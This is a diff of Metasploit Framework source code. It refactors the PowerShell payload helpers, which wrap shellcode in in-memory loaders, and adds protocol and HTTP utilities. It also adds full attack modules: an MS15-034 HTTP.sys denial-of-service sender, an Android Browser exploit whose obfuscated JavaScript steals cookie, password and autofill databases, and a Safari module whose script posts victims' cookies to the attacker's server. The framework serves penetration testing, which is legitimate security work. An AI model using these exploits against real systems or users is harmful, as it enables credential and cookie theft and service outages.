@ -20,4 +19,3 @@ module Powershell
end
end
end
end

View File

@ -0,0 +1,182 @@
# -*- coding: binary -*-
module Rex
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end

View File

@ -0,0 +1,78 @@
# -*- coding: binary -*-
require 'rex/random_identifier_generator'
module Rex
module Powershell
module Payload
def self.read_replace_script_template(template_path, filename, hash_sub)
template_pathname = File.join(template_path, filename)
template = ''
File.open(template_pathname, "rb") {|f| template = f.read}
template % hash_sub
end
def self.to_win32pe_psh_net(template_path, code)
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_psh(template_path, code)
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
#
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
# Tweaked by shellster
# Originally from PowerSploit
#
def self.to_win32pe_psh_reflection(template_path, code)
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:func_get_proc_address)
rig.init_var(:func_get_delegate_type)
rig.init_var(:var_code)
rig.init_var(:var_module)
rig.init_var(:var_procedure)
rig.init_var(:var_unsafe_native_methods)
rig.init_var(:var_parameters)
rig.init_var(:var_return_type)
rig.init_var(:var_type_builder)
rig.init_var(:var_buffer)
rig.init_var(:var_hthread)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template(template_path,
"to_mem_pshreflection.ps1.template",
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
end
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
##
# Convenience methods for generating powershell code in Ruby
@ -76,4 +75,3 @@ module Powershell
end
end
end
end

View File

@ -4,7 +4,6 @@ require 'rex'
require 'forwardable'
module Rex
module Exploitation
module Powershell
class Script
attr_accessor :code
@ -96,4 +95,3 @@ module Powershell
end # class Script
end
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'uri'
require 'rex/proto/http'
require 'nokogiri'
module Rex
module Proto
@ -82,6 +83,34 @@ class Response < Packet
return cookies.strip
end
# Returns a collection of found hidden inputs
#
# @return [Array<Hash>] An array, each element represents a form that contains a hash of found hidden inputs
# * 'name' [String] The hidden input's original name. The value is the hidden input's original value.
# @example
# res = send_request_cgi('uri'=>'/')
# inputs = res.get_hidden_inputs
# session_id = inputs[0]['sessionid'] # The first form's 'sessionid' hidden input
def get_hidden_inputs
forms = []
noko = Nokogiri::HTML(self.body)
noko.search("form").each_entry do |form|
found_inputs = {}
form.search("input").each_entry do |input|
input_type = input.attributes['type'] ? input.attributes['type'].value : ''
next if input_type !~ /hidden/i
input_name = input.attributes['name'] ? input.attributes['name'].value : ''
input_value = input.attributes['value'] ? input.attributes['value'].value : ''
found_inputs[input_name] = input_value unless input_name.empty?
end
forms << found_inputs unless found_inputs.empty?
end
forms
end
#
# Updates the various parts of the HTTP response command string.
#

3
lib/rex/proto/steam.rb Normal file
View File

@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/proto/steam/message'

View File

@ -0,0 +1,125 @@
# -*- coding: binary -*-
module Rex
module Proto
##
#
# Steam protocol support, taken from https://developer.valvesoftware.com/wiki/Server_queries
#
##
module Steam
# The Steam header ussed when the message is fragmented.
FRAGMENTED_HEADER = 0xFFFFFFFE
# The Steam header ussed when the message is not fragmented.
UNFRAGMENTED_HEADER = 0xFFFFFFFF
# Decodes a Steam response message.
#
# @param message [String] the message to decode
# @return [Array] the message type and body
def decode_message(message)
# minimum size is header (4) + type (1)
return if message.length < 5
header, type = message.unpack('NC')
# TODO: handle fragmented responses
return if header != UNFRAGMENTED_HEADER
[type, message[5, message.length]]
end
# Encodes a Steam message.
#
# @param type [String, Fixnum] the message type
# @param body [String] the message body
# @return [String] the encoded Steam message
def encode_message(type, body)
if type.is_a? Fixnum
type_num = type
elsif type.is_a? String
type_num = type.ord
else
fail ArgumentError, 'type must be a String or Fixnum'
end
[UNFRAGMENTED_HEADER, type_num ].pack('NC') + body
end
# Builds an A2S_INFO message
#
# @return [String] the A2S_INFO message
def a2s_info
encode_message('T', "Source Engine Query\x00")
end
# Decodes an A2S_INFO response message
#
# @parameter response [String] the A2S_INFO resposne to decode
# @return [Hash] the fields extracted from the response
def a2s_info_decode(response)
# abort if it is impossibly short
return nil if response.length < 19
message_type, body = decode_message(response)
# abort if it isn't a valid Steam response
return nil if message_type != 0x49 # 'I'
info = {}
info[:version], info[:name], info[:map], info[:folder], info[:game_name],
info[:game_id], players, players_max, info[:bots],
type, env, vis, vac, info[:game_version], _edf = body.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C")
# translate type
case type
when 100 # d
server_type = 'Dedicated'
when 108 # l
server_type = 'Non-dedicated'
when 112 # p
server_type = 'SourceTV relay (proxy)'
else
server_type = "Unknown (#{type})"
end
info[:type] = server_type
# translate environment
case env
when 108 # l
server_env = 'Linux'
when 119 # w
server_env = 'Windows'
when 109 # m
when 111 # o
server_env = 'Mac'
else
server_env = "Unknown (#{env})"
end
info[:environment] = server_env
# translate visibility
case vis
when 0
server_vis = 'public'
when 1
server_vis = 'private'
else
server_vis = "Unknown (#{vis})"
end
info[:visibility] = server_vis
# translate VAC
case vac
when 0
server_vac = 'unsecured'
when 1
server_vac = 'secured'
else
server_vac = "Unknown (#{vac})"
end
info[:VAC] = server_vac
# format players/max
info[:players] = "#{players}/#{players_max}"
# TODO: parse EDF
info
end
end
end
end

View File

@ -1,5 +1,7 @@
# -*- coding: binary -*-
require 'rex/text'
# A quick way to produce unique random strings that follow the rules of
# identifiers, i.e., begin with a letter and contain only alphanumeric
# characters and underscore.

View File

@ -3,7 +3,7 @@ require 'digest/md5'
require 'digest/sha1'
require 'stringio'
require 'cgi'
require 'rex/exploitation/powershell'
require 'rex/powershell'
%W{ iconv zlib }.each do |libname|
begin
@ -308,7 +308,7 @@ module Text
# Converts a raw string to a powershell byte array
#
def self.to_powershell(str, name = "buf")
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
return Rex::Powershell::Script.to_byte_array(str, name)
end
#

View File

@ -30,9 +30,6 @@ class Output
def print_good(msg='')
end
def print_debug(msg='')
end
#
# Prints a status line.
#

View File

@ -56,16 +56,6 @@ module Subscriber
end
end
#
# Wraps user_output.print_debug
#
def print_debug(msg='')
if (user_output)
print_blank_line if user_output.prompting?
user_output.print_debug(msg)
end
end
#
# Wraps user_output.print_warning
#

View File

@ -55,10 +55,6 @@ class Output < Rex::Ui::Output
print_line("%bld%grn[+]%clr #{msg}")
end
def print_debug(msg = '')
print_line("%bld%cya[!]%clr #{msg}")
end
def print_status(msg = '')
print_line("%bld%blu[*]%clr #{msg}")
end

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
#spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.21'
spec.add_runtime_dependency 'meterpreter_bins', '0.0.22'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -132,7 +132,7 @@ class Metasploit3 < Msf::Auxiliary
case action.name
when 'Deploy'
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
fail_with("Unable to open WARFILE")
fail_with(Failure::BadConfig, "Unable to open WARFILE")
end
war_data = File.read(datastore['WARFILE'])
deploy_action(app_base, war_data)

View File

@ -57,7 +57,7 @@ class Metasploit4 < Msf::Auxiliary
}, 60)
if !users or users.code != 200
fail_with("Invalid response. Check your credentials and that the server is correct.")
fail_with(Failure::NoAccess, "Invalid response. Check your credentials and that the server is correct.")
end
xml = path = id = other_id = '' #for later use

View File

@ -84,6 +84,7 @@ class Metasploit3 < Msf::Auxiliary
report_note(
:host => rhost,
:port => rport,
:type => 'apache.killer',
:data => "Apache Byte-Range DOS at #{path}"
)

View File

@ -0,0 +1,135 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Watch out, dos all the things
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',
'Description' => %q{
This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
execution. This module will try to cause a denial-of-service.
Please note that you must supply a valid file resource for the TARGETURI option.
By default, IIS may come with these settings that you could try: iisstart.htm,
welcome.png, iis-85.png, etc.
},
'Author' =>
[
# Bill did all the work (see the pastebin code), twitter: @hectorh56193716
'Bill Finlayson',
# MSF. But really, these people made it happen:
# https://github.com/rapid7/metasploit-framework/pull/5150
'sinn3r'
],
'References' =>
[
['CVE', '2015-1635'],
['MSB', 'MS15-034'],
['URL', 'http://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
], self.class)
deregister_options('RHOST')
end
def upper_range
0xFFFFFFFFFFFFFFFF
end
def run_host(ip)
if check_host(ip) == Exploit::CheckCode::Vulnerable
dos_host(ip)
else
print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
end
end
def get_file_size(ip)
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw({'uri'=>uri})
unless res
vprint_error("#{ip}:#{rport} - Connection timed out")
return file_size
end
if res.code == 404
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.body.length
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
return file_size
}.call
end
def dos_host(ip)
file_size = get_file_size(ip)
lower_range = file_size - 2
# In here we have to use Rex because if we dos it, it causes our module to hang too
uri = normalize_uri(target_uri.path)
begin
cli = Rex::Proto::Http::Client.new(ip)
cli.connect
req = cli.request_raw({
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=#{lower_range}-#{upper_range}"
}
})
cli.send_request(req)
rescue ::Errno::EPIPE, ::Timeout::Error
# Same exceptions the HttpClient mixin catches
end
print_status("#{ip}:#{rport} - DOS request sent")
end
def check_host(ip)
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
uri = normalize_uri(target_uri.path)
res = send_request_raw({
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
})
if res && res.body.include?('Requested Range Not Satisfiable')
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
end

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary
}
space_to_fill = size_bytes - empty_xml.size
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
vprint_status("#{peer} - max XML space to fill: #{space_to_fill} bytes")
payload = "&#{entity};" * (space_to_fill / 6)
entity_value_length = space_to_fill - payload.length

View File

@ -0,0 +1,183 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/jsobfu'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
include Msf::Exploit::JSObfu
def initialize(info={})
super(update_info(info,
'Name' => 'Android Browser File Theft',
'Description' => %q{
This module steals the cookie, password, and autofill databases from the
Browser application on AOSP 4.3 and below.
},
'Author' => [
'Rafay Baloch', # Found UXSS bug in Android Browser
'joev' # File redirect and msf module
],
'License' => MSF_LICENSE,
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'References' =>
[
# patch for file redirection, 2014
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS
],
'DefaultAction' => 'WebServer'
))
register_options([
OptString.new('ADDITIONAL_FILES', [
false,
'Comma-separated list of addition file URLs to steal.',
]),
OptBool.new('DEFAULT_FILES', [
true,
'Steals a default set of file URLs',
true
])
], self.class)
end
def run
exploit
end
def on_request_uri(cli, request)
if request.method.downcase == 'post'
process_post(cli, request)
send_response_html(cli, '')
else
print_status('Sending exploit landing page...')
send_response_html(cli, exploit_html)
end
end
def process_post(cli, request)
data = JSON.parse(request.body)
contents = hex2bin(data['data'])
file = File.basename(data['url'])
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
loot_path = store_loot(
file,
'application/x-sqlite3',
cli.peerhost,
contents,
File.basename(data['url']),
"#{cli.peerhost.ljust(16)} Android browser file"
)
print_good("Saved to: #{loot_path}")
end
def file_urls
default_urls = [
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
'file:///data/data/com.android.browser/databases/webview.db',
'file:///data/data/com.android.browser/databases/autofill.db',
'file:///data/data/com.android.browser/databases/browser2.db',
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
'file:///data/data/com.android.browser/app_databases/Databases.db',
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
]
unless datastore['DEFAULT_FILES']
default_urls = []
end
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
end
def exploit_html
%Q|
<!doctype html>
<html>
<body>
<script>#{exploit_js}</script>
</body>
</html>
|
end
def exploit_js
js_obfuscate %Q|
window.onmessage = function(e) {
var x = new XMLHttpRequest;
x.open("POST", location.href);
x.send(JSON.stringify(e.data))
};
function xss() {
var urls = (#{JSON.generate(file_urls)});
function tick() {
setTimeout(function() { next(urls.shift()); });
};
window.onmessage = tick;
function next(url) {
if (!url) return;
try {
var f = document.createElement('iframe');
f.src = url;
f.onload = function() {
f.onload = null;
function nested() {
var x = new XMLHttpRequest;
x.open('GET', location.href);
x.responseType = 'arraybuffer';
x.send();
x.onload = function() {
var buff = new Uint8Array(x.response);
var hex = Array.prototype.map.call(buff, function(d) {
var c = d.toString(16);
return (c.length < 2) ? 0+c : c;
}).join(new String);
/*ensures there are no 'not allowed' responses that appear to be valid data*/
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
top.postMessage({data:hex,url:location.href}, '*');
}
parent.postMessage(1,'*');
};
x.onerror = function() {
parent.postMessage(1,'*');
};
}
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
f.contentWindow.location = "";
};
document.body.appendChild(f);
} catch(e) {t();}
};
tick();
}
var brokenFrame = document.createElement('iframe');
brokenFrame.src = 'http://localhost:100';
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
brokenFrame.onload = function() {
brokenFrame.onload = null;
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
brokenFrame.contentWindow.location = "";
};
document.body.appendChild(brokenFrame);
|
end
# TODO: Make this a proper Rex::Text function
def hex2bin(hex)
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
end
end

View File

@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
begin
response = JSON.parse(request.body)
rescue JSON::ParserError
print_bad "Invalid JSON request."
print_error "Invalid JSON request."
else
url = response['url']
if response && url

View File

@ -0,0 +1,261 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/service_manager'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',
'Description' => %q{
A vulnerability exists in versions of OSX/iOS/Windows Safari released
before April 8, 2015 that allows the non-HTTPOnly cookies of any
domain to be stolen.
},
'License' => MSF_LICENSE,
'Author' => [
'Jouko Pynnonen', # Initial discovery and disclosure
'joev', # msf module
],
'References' => [
[ 'CVE', '2015-1126' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ]
],
'Actions' => [ [ 'WebServer' ] ],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer',
'DisclosureDate' => 'Apr 8 2015'
))
register_options([
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),
OptString.new('TARGET_DOMAINS', [
true,
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',
'apple.com,example.com'
])
], self.class )
end
#
# Start the FTP and HTTP server
#
def run
start_service
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
start_http
@http_service.wait
end
#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if comm.to_s == 'local'
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore['SSL'] ? 'https' : 'http')
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if opts['ServerHost'] == '0.0.0.0'
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end
#
# Lookup the right address for the client
#
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end
#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
unless conn
c.put("425 can't build data connection\r\n")
return
end
print_status('Connection for file transfer accepted')
c.put("150 Connection accepted\r\n")
# Send out payload
conn.put(exploit_html)
c.put("226 Transfer complete.\r\n")
conn.close
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(@uri_path)
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
end
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
return @uri_path if @uri_path
@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
@uri_path = '/' + @uri_path if @uri_path !~ /^\//
@uri_path
end
#
# Handle HTTP requets and responses
#
def on_request_uri(cli, request)
if request.method.downcase == 'post'
json = JSON.parse(request.body)
domain = json['domain']
cookie = Rex::Text.decode_base64(json['p']).to_s
if cookie.length == 0
print_error("#{cli.peerhost}: No cookies found for #{domain}")
else
file = store_loot(
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
)
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")
print_good(file)
end
send_response(cli, 200, 'OK', '')
else
domains = datastore['TARGET_DOMAINS'].split(',')
iframes = domains.map do |domain|
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
</iframe>|
end
html = <<-HTML
<html>
<body>
#{iframes.join}
</body>
</html>
HTML
send_response(cli, 200, 'OK', html)
end
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html
cli.send_response(res)
end
def exploit_html
<<-HTML
<html><body>
<script>
var p = window.btoa(document.cookie);
var x = new XMLHttpRequest();
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")
x.setRequestHeader('Content-type', 'text/plain');
x.send(JSON.stringify({p: p, domain: document.domain}));
</script>
</body></html>
HTML
end
def grab_key
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)
end
end

View File

@ -101,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary
# Verify if session cookie is valid and return user's ID
#
def get_user_id
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie
@ -121,7 +120,6 @@ class Metasploit3 < Msf::Auxiliary
# Construct cookie using token
#
def create_cookie(token)
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"

View File

@ -63,13 +63,13 @@ class Metasploit3 < Msf::Auxiliary
})
if !res or !res.body
fail_with("Server did not respond in an expected way")
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
end
file = /For input string: "(.*)"/m.match(res.body)
if !file or file.length < 2
fail_with("File was unretrievable. Was it a binary file?")
fail_with(Failure::UnexpectedReply, "File was unretrievable. Was it a binary file?")
end
file = file[1]
@ -79,4 +79,3 @@ class Metasploit3 < Msf::Auxiliary
print_good("File saved to: " + path)
end
end

View File

@ -330,7 +330,7 @@ class Metasploit3 < Msf::Auxiliary
i, a = 0, []
# Most common SRV Records
srvrcd = [
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp","_test._tcp.",
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",

Some files were not shown because too many files have changed in this diff Show More